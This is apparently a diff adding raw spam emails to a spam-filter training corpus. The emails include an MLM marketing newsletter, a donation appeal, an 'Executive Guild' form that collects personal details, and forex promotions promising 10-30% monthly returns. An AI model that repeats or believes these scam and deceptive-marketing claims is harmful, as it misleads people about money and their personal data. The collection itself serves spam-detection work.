grateful. If I appreciate more of what I have, I will +have even more to appreciate. + +2. Write out my three most important goals and visualize +how my life will be when I have achieved them. FEEL it. +EXPERIENCE it in as much sensory detail as I can possibly +imagine. + +3. Take some action steps toward each of the three goals. + +4. Exercise my body and monitor carefully what I eat and +drink. Reduce fat and caloric intake while expending more +calories. Eat only small amounts at one time. + +5. Read something educational, inspirational or +entertaining--preferably all three. + +6. Meditate. Empty my conscious mind and listen to the +Super-conscious. + +7. Have fun doing something I love to do. Experience joy. + +8. Write something--anything. If not an article or part of +my book, then write in my journal. + +9. Perform some act of kindness. Do a thoughtful, +magnanimous thing--anonymously if possible. + +10. Finish something. Do something I can call complete. + +Bonus Step: Make something work better -- +Practice ADS: Automate, Delegate and Systemize. + + +Copyright 2001 Michael Angier & Success Networks International. +------------------------------------- +About the Author... + +Michael Angier is the founder and president of Success Networks. +Success Net's mission is to inform, inspire and empower people +to be their best--personally and professionally. Download their +free eBooklet, KEYS TO PERSONAL EFFECTIVENESS from +http://www.SuccessNet.org/keys.htm. Free subscriptions, +memberships, books and SuccessMark Cards are available at +http://www.SuccessNet.org + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Member Showcase +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Examine carefully - Those with email addresses included WILL +TRADE LINKS with you... You are encouraged to contact them. +There Are Many Ways To Build A Successful Business - Just look +at these successful sites & programs other members are involved +in... +------------------------------------------------- + +******** FREE CD-Rom Software ********* +Over 1000 high quality software titles on CD-ROM +absolutely FREE! YES, the software is free, (s/h) +Click Here: http://www.adreporting.com/at.cgi?a=156074&e=/2/ +--------------------------------------------------------------------- + +Stop Smoking - Free Lesson !! +Discover the Secret to Stopping Smoking. +To Master these Powerful Techniques, Come to +http://www.breath-of-life.net for your Free Lesson. +Act Now! P.S. Tell someone you care about. +Trade Links - jturco3@hotmail.com +--------------------------------------------------------------------- + +For a limited time only, we are offering --TWO-- FREE eBooks +to show you how to MAKE MONEY ON THE INTERNET! +Use our PROVEN, DUPLICATABLE methods to get in on +this EXPLODING opportunity now! Visit us at: +http://www.Abundance-Group.com to collect your FREE offers! +Trade Links - Gina@AbundanceGroup.com +--------------------------------------------------------------------- + +Life Without Debt! What would you do with 5,000 10,000 +20,000 100,000? A "Dream Team" of heavy hitters are +gathering to promote Life Without Debt. Get in NOW to +receive Massive spillover in the 2x matrix. +http://trafficentral.com/lwd/index.htm +-------------------------------------------------------------- + + If you have a product, service, opportunity or quality + merchandise that appeals to people worldwide, reach your + targeted audience! For a fraction of what other large + newsletters charge you can exhibit your website here, and + trade links for only $8 CPM.  Compare that to the + industry average of $10-$15 CPM. Why?... Because as a + valuable member we want you to be successful! Order today - + Showcases are limited and published on a first come, first + serve basis. For our secure order form, click here: + http://bannersgomlm.com/ezine + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Commentary Quick Tips +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Website Recommendation: + +Here is a site with some useful tips. +Example - test your Internet connection speed. +http://www.camscape.com/tips/ +I doubled my DSL speed with just one minor tweak +suggested by one of the links given. + +Submitted by F. Knopke +imco@telusplanet.net +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Do you have a marketing hint, product recommendation, or +online gem of wisdom you'd like to share with your fellow +subscribers? With your 2 - 10 line Quick Tip include your +name and URL or email address and we'll give you credit +for your words of wisdom. + +And, if you're looking for free advertising, this isn't +the place - check out the 'One Question Survey' below for +a great free advertising offer. + +Send it in to mailto:Submit@AEOpublishing.com +with 'Quick Tip' in the Subject block. + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Win A FREE Ad In Community & Commentary +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +To keep this interesting, how about this, every month we'll +draw a name from the replies and that person will win one +Sponsorship Showcase in the Community & Commentary, for FREE. +That's a value of over $800.00! Respond to each weekly survey, +and increase your chances to win with four separate entries. + QUESTION OF THE WEEK (08/03/01)... + No right or wrong answers, and just by answering + you are entered to win a Sponsorship Showcase - Free! + + ~~~ How many email messages do you get per day? ~~~ + +Less than 40 mailto:one@AEOpublishing.com +41-100 mailto:two@AEOpublishing.com +101-300 mailto:three@AEOpublishing.com +301-1000 mailto:four@AEOpublishing.com +More than 1000 mailto:five@AEOpublishing.com + +To make this as easy as possible for you, just click on the +hyperlinked answer to send us an e-mail - you do not need to +enter any information in the subject or body of the message. + +** ADD YOUR COMMENTS! Follow directions above and +add your comments in the body of the message, and we'll +post the best commentaries along with the responses. + +You will automatically be entered in our drawing for a free +Sponsorship ad in the Community & Commentary. Please +respond only one time per question. Multiple responses +from the same individual will be discarded. + +Last Weeks's Survey Results & Comments (07/27/01) + + ~~~ Are you concerned about identity theft online? ~~~ + +yes 81% +no 19% + +Comments: +~~~~~~~~~ + +No. This is a funny thing to me. I hear about so many +people being super scared to give out their SS#. Well folks, +I can get your SS# for 50 cents. Give me a name and address +and about 90% of the time I can get the number. + +We are so worried about putting our credit card number on +the net, but we will give the card to a waiter or waitress and +they take it out of our sight for 10 minutes. They could do +who knows what with the CC number. I once had a person +tell me that her lawyer said that she should never fax a copy +of her check to anyone (checks by fax) because then that +person (me) would have her account info and could write +a check out for thousands of dollars. I told her to just send +it to me then and she said that was OK. Then I asked her +to tell me what the difference was between the original check +and a fax copy. I told her to ask her lawyer that too. Never +heard back from her. + +The bottom line is that if a crook wants to get your info, it is +available in many places. Have a good day. +-- Terry http://mysiteinc.com/tfn/lfi.html +~~~~~~~~~ + +Yes. I believe that the risk is out there but minimal. However, +we can cut those risks by a few simple precautions. Most +importantly, never give any personal information at a site +that is not secure, always look for the lock in thetask bar +or a Veri secure sign or others. + +Also, never leave your information stored at a site. I put +in my credit information in each time instead of having +an account in standing, a little more time but less risks +involved! Of course, I mostly shop at my own Internet +mall and I know how safe it is there, credit card info is +deleted in a matter of seconds. Overall, I believe the web +to be a safe and very fruitful new frontier! +-- Catherine F. http://www.catco.nexgenmall.com +~~~~~~~~~ + +Yes. I had phenomena for 6 weeks and did not realize that +my ISP was shut down at the same time because the owner +was in a bad car accident. I had a full service account. +My Internic fees were not paid so my WEB Address +went unprotected. A Russian stepped in; paid the fees; +and, promptly assigned my www.SchoolOfGeomatics.com +address to a porn shop. Thus, I lost 4 years of building +up 1st place rankings on 12 Search Engines and 2nd place +on 8 more. This set me back about 4 months: I believe I +lost a minimum of $50,000. + +I have also been hit with viruses about 10 times. The first +time I lost almost 4 months of work. Now, I back up often +enough to not to lose so much time. This is also Internet +theft. These people are nothing but out and out criminals +and should spend years behind bars. + +Customers are well protected from credit card theft; +however, merchants can lose a lot of money. I sell only by +purchase order and certified or registered company checks. +-- Peter S. http://www.GSSGeomatics.com +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + JULY WINNER ANNOUNCED! +And the July 'One-Question Survey' WINNER is... + + John Stitzel - oldstitz@yahoo.com + + Congratulations John! + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +To change your subscribed address, send both new and old +address to mailto:Submit@AEOpublishing.com +See the link (below) for our Subscription Center to unsubscribe +or edit your interests. + +Please send suggestions and comments to: +mailto:Editor@AEOpublishing.com +I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." +mailto:Submit@AEOpublishing.com + +For information on how to sponsor Your Membership +Community & Commentary visit: http://bannersgomlm.com/ezine + +Copyright 2001 AEOpublishing.com +------------------------------------------------ +web: http://www.AEOpublishing.com +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.8lhtdma6&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +--1465727098.996838841831.JavaMail.RovAdmin.rovweb003 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Community & Commentary, 08-03-01 + + + + +
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    Your Membership Community & Commentary
      It's All About Making MoneyAugust 3, 2001  
    +

    + + + + + + + + +
    + + + + + +
    + + in this issue + +
    + + + + + + + + + + +
    + +
    Top Ten Most Important Things to Do Today +

    Member Showcase +

    Commentary Quick Tips +

    Win A FREE Ad In Community & Commentary +

    +

    +


    + + + + +
    Today's Special Announcement:
    + +
    +

    Right now, this week only - We have left over inventory, it's +
    unsold, but not for long.  If you could use 1 million banner +
    ads all targeted and dirt cheap go here today. This package +
    is guaranteed!! It's tough to fail when you can show your ad +
    to 1,000 people for less than a buck! A free custom banner +
    will be made for you with this deal! +
    Click Here! +
     

    +
     

    +You are a member in at least one of these programs +- You should be in them all!
    + BannersGoMLM.com +
    ProfitBanners.com +
    CashPromotions.com +
    MySiteInc.com +
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    FreeLinksNetwork.com +
    MyShoppingPlace.com +
    BannerCo-op.com +
    PutPEEL.com +
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    +--- This Issue Contains Sites Who Will Trade Links With You! ---
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  • Top Ten Most Important Things to Do Today
    •   

    This is my list. They're the ones I've selected for my life at +
    present. Consider them suggestions for yourself--ideas to +
    help you generate your own top ten list. By getting clear +
    on and acting upon YOUR most important steps, you'll be +
    moving toward and experiencing your highest and best. +
      +

    1. Practice gratefulness. Reflect upon the things in my life for +
    which I'm grateful. If I appreciate more of what I have, I will +
    have even more to appreciate. +

    2. Write out my three most important goals and visualize +
    how my life will be when I have achieved them. FEEL it. +
    EXPERIENCE it in as much sensory detail as I can possibly +
    imagine. +

    3. Take some action steps toward each of the three goals. +

    4. Exercise my body and monitor carefully what I eat and +
    drink. Reduce fat and caloric intake while expending more +
    calories. Eat only small amounts at one time. +

    5. Read something educational, inspirational or +
    entertaining--preferably all three. +

    6. Meditate. Empty my conscious mind and listen to the +
    Super-conscious. +

    7. Have fun doing something I love to do. Experience joy. +

    8. Write something--anything. If not an article or part of +
    my book, then write in my journal. +

    9. Perform some act of kindness. Do a thoughtful, +
    magnanimous thing--anonymously if possible. +

    10. Finish something. Do something I can call complete. +

    Bonus Step: Make something work better -- +
    Practice ADS: Automate, Delegate and Systemize. +
      +

    Copyright 2001 Michael Angier & Success Networks International. +
    ------------------------------------- +
    About the Author... +

    Michael Angier is the founder and president of Success Networks. +
    Success Net's mission is to inform, inspire and empower people +
    to be their best--personally and professionally. Download their +
    free eBooklet, KEYS TO PERSONAL EFFECTIVENESS from +
    http://www.SuccessNet.org/keys.htm. +Free subscriptions, +
    memberships, books and SuccessMark Cards are available at +
    http://www.SuccessNet.org

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  • Commentary Quick Tips
    •   

    Website Recommendation: +

    Here is a site with some useful tips. +
    Example - test your Internet connection speed. +
    http://www.camscape.com/tips/ +
    I doubled my DSL speed with just one minor tweak +
    suggested by one of the links given. +

    Submitted by F. Knopke +
    imco@telusplanet.net +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +

    Do you have a marketing hint, product recommendation, or +
    online gem of wisdom you'd like to share with your fellow +
    subscribers? With your 2 - 10 line Quick Tip include your +
    name and URL or email address and  we'll give you credit +
    for your words of wisdom. +

    And, if you're looking for free advertising, this isn't +
    the place - check out the 'One Question Survey' below for +
    a great free advertising offer. +

    Send it in to mailto:Submit@AEOpublishing.com +
    with 'Quick Tip' in the Subject block.

  • Win A FREE Ad In Community & Commentary
    •   

    To keep this interesting, how about this, every month we'll +
    draw a name from the replies and that person will win one +
    Sponsorship Showcase in the Community & Commentary, for FREE. +
    That's a value of over $800.00! Respond to each weekly survey, +
    and increase your chances to win with four separate entries. +

     QUESTION OF THE WEEK (08/03/01)... +
     No right or wrong answers, and just by answering +
     you are entered to win a Sponsorship Showcase  - Free! +

     ~~~ How many email messages do you get per day? ~~~ +

    Less than 40            +mailto:one@AEOpublishing.com +
    41-100                        +mailto:two@AEOpublishing.com +
    101-300                    +mailto:three@AEOpublishing.com +
    301-1000                    +mailto:four@AEOpublishing.com +
    More than 1000        mailto:five@AEOpublishing.com +

    To make this as easy as possible for you, just click on the +
    hyperlinked answer to send us an e-mail  - you do not need to +
    enter any information in the subject or body of the message. +

    ** ADD YOUR COMMENTS!  Follow directions above and +
    add your comments in the body of the message, and we'll +
    post the best commentaries along with the responses. +

    You will automatically be entered in our drawing for a free +
    Sponsorship ad in the Community & Commentary. Please +
    respond only one time per question.  Multiple responses +
    from the same individual will be discarded. +

    Last Weeks's Survey Results & Comments  (07/27/01) +

     ~~~ Are you concerned about identity theft online? ~~~ +

    yes   81% +
    no    19% +

    Comments: +
    ~~~~~~~~~ +

    No. This is a funny thing to me.  I hear about so many +
    people being super scared to give out their SS#.  Well folks, +
    I can get your SS# for 50 cents.  Give me a name and address +
    and about 90% of the time I can get the number. +

    We are so worried about putting our credit card number on +
    the net, but we will give the card to a waiter or waitress and +
    they take it out of our sight for 10 minutes.  They could do +
    who knows what with the CC number.  I once had a person +
    tell me that her lawyer said that she should never fax a copy +
    of her check to anyone (checks by fax) because then that +
    person (me) would have her account info and could write +
    a check out for thousands of dollars.  I told her to just send +
    it to me then and she said that was OK.  Then I asked her +
    to tell me what the difference was between the original check +
    and a fax copy.  I told her to ask her lawyer that too.  +Never +
    heard back from her. +

    The bottom line is that if a crook wants to get your info, it is +
    available in many places.  Have a good day. +
    --  Terry    +http://mysiteinc.com/tfn/lfi.html +
    ~~~~~~~~~ +

    Yes. I believe that the risk is out there but minimal. However, +
    we can cut those risks by a few simple precautions. Most +
    importantly, never give any personal information at a site +
    that is not secure, always look for the lock in thetask bar +
    or a Veri secure sign or others. +

    Also, never leave your information stored at a site. I put +
    in my credit information in each time instead of having +
    an account in standing, a little more time but less risks +
    involved! Of course, I mostly shop at my own Internet +
    mall and I know how safe it is there, credit card info is +
    deleted in a matter of seconds. Overall, I believe the web +
    to be a safe and very fruitful new frontier! +
    --  Catherine F.      http://www.catco.nexgenmall.com +
    ~~~~~~~~~ +

    Yes. I had phenomena for 6 weeks and did not realize that +
    my ISP was shut down at the same time because the owner +
    was in a bad car accident.  I had a full service account. +
    My Internic fees were not paid so my WEB Address +
    went unprotected.  A Russian stepped in; paid the fees; +
    and, promptly assigned my www.SchoolOfGeomatics.com +
    address to a porn shop.  Thus, I lost 4 years of building +
    up 1st place rankings on 12 Search Engines and 2nd place +
    on 8 more.  This set me back about 4  months: I believe I +
    lost a minimum of $50,000. +
      +
    I have also been hit with viruses about 10 times.  The first +
    time I lost almost 4 months of work.  Now, I back up often +
    enough to not to lose so much time.  This is also Internet +
    theft.  These people are nothing but out and out criminals +
    and should spend years behind bars. +
      +
    Customers are well protected from credit card theft; +
    however, merchants can lose a lot of money.  I sell only by +
    purchase order and certified or registered company checks. +
    --  Peter S.    http://www.GSSGeomatics.com +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~ +

                   +JULY WINNER ANNOUNCED! +
    And the July 'One-Question Survey' WINNER is... +

               John Stitzel   +-   oldstitz@yahoo.com +

                       +Congratulations John!

    •   To change your subscribed address, +
    send both new and old address to Submit +
    See the link (to the left) for our Subscription Center to unsubscribe or edit your interests. + +

    Please send suggestions and comments to: Editor +
    I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." Submit +

    For information on how to sponsor Your Membership +Community & Commentary visit: Sponsorship +Showcase +

    Copyright 2001 AEOpublishing.com

    + + +
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      + + + +****************************************************************** + + + + diff --git a/bayes/spamham/spam_2/00138.acef24ad51f98e3192d5a0348543f02f b/bayes/spamham/spam_2/00138.acef24ad51f98e3192d5a0348543f02f new file mode 100644 index 0000000..14148e1 --- /dev/null +++ b/bayes/spamham/spam_2/00138.acef24ad51f98e3192d5a0348543f02f @@ -0,0 +1,81 @@ +From prepaidlegalhelp@aol.com Mon Jun 24 17:52:24 2002 +Return-Path: prepaidlegalhelp@aol.com +Delivery-Date: Tue Jun 18 18:57:30 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5IHuRk20032 for + ; Tue, 18 Jun 2002 18:56:28 +0100 +Received: from 192.168.254.3 (194-78-196-72.pro.turboline.skynet.be + [194.78.196.72]) by mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP + id g5IHu7m00787 for ; Tue, 18 Jun 2002 18:56:10 +0100 +Received: from [68.15.136.28] (HELO smtp0381.mail.yahoo.com) by + 192.168.254.3 (CommuniGate Pro SMTP 3.5.3) with SMTP id 366355; + Tue, 18 Jun 2002 20:03:43 +0200 +Reply-To: prepaidlegalhelp@aol.com +From: prepaidlegalhelp@aol.com +To: yyyy@neca.com +Cc: yyyy@neo.lrun.com, yyyy@neosoft.com, yyyy@net-quest.com, yyyy@net.net, + jm@net1plus.com, jm@netbox.com, jm@netcom.ca, jm@netcomuk.co.uk, + jm@netdados.com.br, jm@neteze.com, jm@netmagic.net, jm@netmore.net, + jm@netnoteinc.com, jm@netrevolution.com +Subject: legal advice +MIME-Version: 1.0 +Date: Sun, 5 Aug 2001 10:04:54 -0700 +Message-Id: +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + +*This message was transferred with a trial version of CommuniGate(tm) Pro* + + + + +

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    + + + + +126 diff --git a/bayes/spamham/spam_2/00139.cee7452bc16a8e26ea1ad841321c95ce b/bayes/spamham/spam_2/00139.cee7452bc16a8e26ea1ad841321c95ce new file mode 100644 index 0000000..42f4bc1 --- /dev/null +++ b/bayes/spamham/spam_2/00139.cee7452bc16a8e26ea1ad841321c95ce @@ -0,0 +1,73 @@ +From zonepost12@mail.ru Sun Aug 5 19:40:41 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from bis-pdc (unknown [193.128.61.243]) by mail.netnoteinc.com + (Postfix) with ESMTP id C0E8C11410E for ; + Sun, 5 Aug 2001 18:40:40 +0000 (Eire) +Received: from 207.252.246.134 ([207.252.246.134]) by bis-pdc with + Microsoft SMTPSVC(5.0.2195.2966); Sun, 5 Aug 2001 19:42:12 +0100 +Message-Id: <0000678c4340$0000002a$00001b27@> +To: +From: zonepost12@mail.ru +Subject: HELP BRING THE OCEANS TO OUR CLASSROOMS +Date: Sun, 05 Aug 2001 14:31:16 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Originalarrivaltime: 05 Aug 2001 18:42:14.0053 (UTC) FILETIME=[5810DD50: + 01C11DDE] + + + +YOU CAN MAKE A SEA OF DIFFERENCE + +The non-profit Foundation for the Advancement of Marine Sciences (FAMS) +is dedicated to educating children and teaching teachers about the diverse +aspects of marine life, marine activities and how the marine environment +affects essentially all life on Earth. + +FAMS offers hands-on, interactive marine science educational programs +designed to foster critical thinking about the complex yet delicate systems +that make up the Earth’s oceans. + +FAMS has developed a funding program for Biology instructors so they can +assist students in raising money to attend the camp, and in raising funds +so the instructor can travel free to the camp. + +WE HOPE YOU SHARE FAMS VISION BECAUSE WE NEED YOUR HELP. + +WHAT YOU CAN DO: + +Get involved and show your support for FAMS. As a not-for-profit entity, +FAMS needs your help. Your donation will be used to maintain this very +worthwhile cause. A financial contribution, donated land, boat or car +. WE CAN USE IT ALL. + +HELP FAMS, CALL TODAY! (9:00 to 5:00 Eastern) 407-949-9300 + +To SUBSCRIBE to future announcements or to request additional information +CLICK HERE: mailto:comsat33@uol.com.mx?subject=INFO-FAMS +Please include your telephone # when responding by e-mail. + +If you know any individual or organization with a real interest, concern, +or involvement with the marine sciences, or any aspect of the marine +environment, please share a copy of this communication with them. The +simple act of forwarding this communication on to potentially interested +parties could be your most valuable contribution to FAMS. + +Please take the time to understand what we are doing at FAMS. + +”What we human beings are all living now, whether we are volunteers or not, +is an extraordinary but exceptionally dangerous adventure. And we have a +very small number of years left to fail or to succeed in providing a +sustainable future to our species.” - Jacques-Yves Cousteau + +:::::::::::::::::::::::::::::::::::::::::::::::::::::::: + +If you wish to be excluded from inclusion in any +future mailings, please use the link below +Mailto:bgtyu88@uol.com.co?subject=Exclude-FAMS + + + diff --git a/bayes/spamham/spam_2/00140.f690cb156c0b1223e763ab3c0b340c57 b/bayes/spamham/spam_2/00140.f690cb156c0b1223e763ab3c0b340c57 new file mode 100644 index 0000000..6ad9dec --- /dev/null +++ b/bayes/spamham/spam_2/00140.f690cb156c0b1223e763ab3c0b340c57 @@ -0,0 +1,425 @@ +From carment3y@verizonmail.com Sun Aug 5 22:22:13 2001 +Return-Path: +Delivered-To: yyyy@mail.netnoteinc.com +Received: from lnx1.binotto.com.br (unknown [200.193.54.44]) by + mail.netnoteinc.com (Postfix) with ESMTP id E77FF11410E for + ; Sun, 5 Aug 2001 21:22:10 +0000 (Eire) +Received: from 01-023.044.popsite.net ([64.24.247.23] helo=host) by + lnx1.binotto.com.br with esmtp (Exim 3.12 #1 (Debian)) id 15TVLd-0002dt-00; + Sun, 05 Aug 2001 18:22:10 -0300 +From: "Brad Shelton" +Subject: All Your Life #4C55 +To: achieve@netnoteinc.com +X-Mailer: Microsoft Outlook Express 4.72.1712.3 +X-Mimeole: Produced By Microsoft MimeOLE VÐßD.1712.3 +MIME-Version: 1.0 +Date: Sun, 05 Aug 2001 17:17:24 -0500 +Content-Transfer-Encoding: 7bit +Message-Id: + + +This is a MIME Message + +------=_NextPart_000_007F_01BDF6C7.FABAC1B0 +Content-Type: multipart/alternative; boundary="----=_NextPart_001_0080_01BDF6C7.FABAC1B0" + +------=_NextPart_001_0080_01BDF6C7.FABAC1B0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +***** This is an HTML Message ! ***** + + +------=_NextPart_001_0080_01BDF6C7.FABAC1B0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + Executive Guild Membership + ApplicationResponse-O-Matic Form + + +

    + Dear Candidate,=A0
    +
    + You have been selected as a potential candidate for a free listing in=A0<= +br> + the 2001 Edition of the International Executive Guild Registry=2E=A0
    = + +
    + Please accept our congratulations for this coveted honor=2E=A0
    +
    + As this edition is so important in view of the new millennium, the=A0
    = + + International Executive Guild Registry will be published in two different= +=A0
    + formats; the searchable CD-ROM and the Online Registry=2E=A0
    +
    + Since inclusion can be considered recognition of your career position=A0<= +br> + and professionalism, each candidate is evaluated in keeping with high=A0<= +br> + standards of individual achievement=2E In light of this, the Internationa= +l Executive
    + Guild thinks that you may make an interesting biographical subject=2E=A0<= +br> +
    + We look forward to your inclusion and appearance in the International=A0<= +br> + Executive Guild's Registry=2E Best wishes for your continued success=2E=A0= +
    +
    + International Executive Guild=A0
    + Listing Dept=2E=A0     +

    +

    If you + wish to be removed from our list, please submit + your request +
    at the + bottom of this email=2E +

    +
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    + + + + +
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    International Executive Guild +
    Registration Form +
    (US and Canada + Only) +
    +
    +
    Please + fill out this form if you would like to be + included on The International + Executive Guild, For accuracy and + publication purposes, please + complete and send this form at the earliest + opportunity=2E There is no + charge or obligation to be listed + on The International Executive Guild=2E +
    +
    Your + Name
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    Day + Time Telephone
    +
    Home + Phone
    +     		(Not + To Be Published)
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    +
    + +
    +

    +

    TO + HELP US IN CONSIDERING YOUR APPLICATION, PLEASE + TELL US A LITTLE ABOUT + YOURSELF=2E=2E=2E +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    Your + Business +
    + (Financial + Svcs, Banking, Computer Hardware, Software, Professional Svcs, + Chemicals, + Apparel, Aerospace, Food, Government, Utility, + etc=2E)
    Type + of Organization +
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    Investment + Bank, Commercial Bank, University, +
    Financial + Consultants, Ad Agency, Contractor, Broker, + etc=2E)
    +
    Your + Business Expertise
    +     		+
    + (Corp=2EMgmt, + Marketing, Civil Engineering, +
    Tax + + Law, Nuclear Physics, Database Development, Operations, Pathologist, + Mortgage + Banking, etc=2E)
    Major + Product Line +
    + (Integrated + Circuits, Commercial Aircraft, Adhesives, Cosmetics, Plastic Components, + + Snack Foods, etc=2E)
    + +
    +

    +
    Note: Submitting this form= + + will + be made by email, not by use of  www=2E  Confirmation of its de= +livery + is made by browsing your outgoing mail=2E +
    +

    Thank + you for filling in this form, we will contact you with more + information=2E +
    +
    +
    List + Removal +
    Click + Here
    + + + + +------=_NextPart_001_0080_01BDF6C7.FABAC1B0-- + +------=_NextPart_000_007F_01BDF6C7.FABAC1B0-- + + + + + diff --git a/bayes/spamham/spam_2/00141.29b1847b5d4131c536a812cdc88326eb b/bayes/spamham/spam_2/00141.29b1847b5d4131c536a812cdc88326eb new file mode 100644 index 0000000..0538565 --- /dev/null +++ b/bayes/spamham/spam_2/00141.29b1847b5d4131c536a812cdc88326eb @@ -0,0 +1,90 @@ +From l24671@eon.dk Mon Aug 6 00:52:16 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ppworld.co.kr (unknown [211.174.51.59]) by + mail.netnoteinc.com (Postfix) with ESMTP id E1EC411410E for + ; Sun, 5 Aug 2001 23:52:13 +0000 (Eire) +Received: from PPPa89-ResaleOrlandoB1-1R7029.dialinx.net_[4.4.58.118] + (PPPa89-ResaleOrlandoB1-1R7029.dialinx.net [4.4.58.118]) by ppworld.co.kr + (8.10.1/8.10.1) with SMTP id f75NgjZ10234; Mon, 6 Aug 2001 08:42:46 +0900 +Received: from eon.dk by PPPa89-ResaleOrlandoB1-1R7029.dialinx.net with + ESMTP; Sun, 05 Aug 2001 19:45:23 -0400 +Message-Id: <0000611475ac$00001be4$00000b4c@eon.dk> +To: +From: l24671@eon.dk +Subject: Foreign Currency Trading Report +Date: Sun, 05 Aug 2001 19:45:23 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + Untitled Document
    = + = +


    		 

    +
    +

    + +

    + + + + + + diff --git a/bayes/spamham/spam_2/00142.141444128e16c8ae1631c27821debc9b b/bayes/spamham/spam_2/00142.141444128e16c8ae1631c27821debc9b new file mode 100644 index 0000000..2dff6c2 --- /dev/null +++ b/bayes/spamham/spam_2/00142.141444128e16c8ae1631c27821debc9b @@ -0,0 +1,93 @@ +From l11657@eon.dk Mon Aug 6 01:13:03 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from fjtv.com.cn (unknown [202.101.139.195]) by + mail.netnoteinc.com (Postfix) with ESMTP id A7BFC11410E for + ; Mon, 6 Aug 2001 00:13:01 +0000 (Eire) +Received: from PPPa89-ResaleOrlandoB1-1R7029.dialinx.net_[4.4.58.118] + [4.4.58.118] by fjtv.com.cn (SMTPD32-6.04) id AF9D5B60124; Mon, + 06 Aug 2001 08:06:53 +0800 +Received: from eon.dk by PPPa89-ResaleOrlandoB1-1R7029.dialinx.net with + ESMTP; Sun, 05 Aug 2001 20:01:30 -0400 +Message-Id: <000060773b0c$00000435$000017bc@eon.dk> +To: +From: l11657@eon.dk +Subject: Free Foreign Currency Newsletter +Date: Sun, 05 Aug 2001 20:01:18 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + +

    + + + + + +

    Untitled Documen= +t

    = + Volume Over 1.2 Trillion Dollars a Day
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    The Foreign Currency Markets

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    = +Discover how:
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    Learn how successful professional traders assisting you can potent= +ially achieve double-digit monthly returns of 10-30% or more!

    For a Free Foreign Currency= + Trading Newsletter and a comprehensive report on the= + foreign currency markets.

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    = +

    There is considerable exposure to risk in any Forex (FX) = +transaction. Before deciding to participate in FX trading,
    you = +should carefully consider your objectives, level of experience and= + risk appetite. Most importantly don't invest money
    you can't = +afford to lose.
    If you are receiving this e-mail in error, we sincerely apologi= +ze. Simply click on Reply Remove in the subject line. We Honor any and all= + Remove Requests. Any attempt to disable this Remove acct will only preven= +t others from being removed. Again, we apologize for any inconvenience an= +d it wont happen again.

    = +

    		 
    = +
    Volume Over 1.2 Trillion D= +ollars a Day
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    The Foreign Currency Markets
    = +

    = +

    Discover how:
    $20,000 "properly positioned" in the Euro vs. = +the US Dollar, on 12/13/00 could have returned $70,000 on 1/03/01

    Learn how successful professio= +nal traders assisting you can potentially achieve double-digit monthly ret= +urns of 10-30% or more!

    = +

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    <= +/P>

    There is considerable exposure to risk in any Forex (FX) transacti= +on. Before deciding to participate in FX trading,
    you should ca= +refully consider your objectives, level of experience and risk app= +etite. Most importantly don't invest money
    you can't afford to= + lose.
    <= +B>If you are receiving this e-mail in error, we sincerely apologize. Simpl= +y click on Reply Remove in the subject line. We Honor any and all Remove R= +equests. Any attempt to disable this Remove acct will only prevent others = +from being removed. Again, we apologize for any inconvenience and it wont= + happen again.


